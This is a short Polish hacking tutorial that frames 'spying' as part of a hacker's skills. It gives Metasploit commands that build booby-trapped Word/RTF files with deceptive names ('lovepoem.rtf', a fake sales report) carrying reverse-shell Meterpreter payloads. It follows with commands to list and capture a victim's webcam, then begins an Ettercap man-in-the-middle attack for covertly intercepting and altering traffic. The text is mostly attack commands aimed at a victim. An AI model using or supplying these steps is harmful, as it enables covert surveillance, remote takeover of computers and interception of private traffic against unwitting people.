<aside> ☕
Jeśli moje notatki Ci pomagają, postaw mi kawę na BuyCoffee.to/notatkihakera!
</aside>
Chociaż hacker nie jest agentem specjalnym, to zakres kompetencji hackera obejmuje również szpiegowanie. Żeby skorzystać z tego artykułu musisz być przynajmniej początkującym pentesterem.
Wymienie na początku dwie metody szpiegowania za pomocą metasploita. Poniższe polecenia pokazują ogólną metodykę.
use exploit/windows/fileformat/ms14_017_rtf
set FILENAME lovepoem.rtf
set PAYLOAD windows/meterpreter/reverse_tcp
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
meterpreter > webcam_list
meterpreter > webcam_snap
run webcam -p /var/www
Oba moduły polegają na wygenerowaniu plików Worda, które ofiara uruchamia. W przypadku drugiego uruchamiany jest serwer.
use exploit/windows/fileformat/office_word_hta
info
show options
set FILENAME hackersarise_sales_report
set URIPATH hackersarise
set SRVHOST 192.168.1.115
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.115
exploit
Ten atak pozwala na przechwytywanie, oglądanie i potencjalną modyfikację całego ruchu między dwoma celami bez ich wiedzy. Ofiara nie ma żadnej informacji o tym, że jej ruch jest przechwytywany lub zmieniany.
Otwórz terminal w Kali Linux i uruchom Ettercap w trybie graficznym, wpisując:
ettercap -G
Przełącznik -G uruchamia graficzny interfejs Ettercap.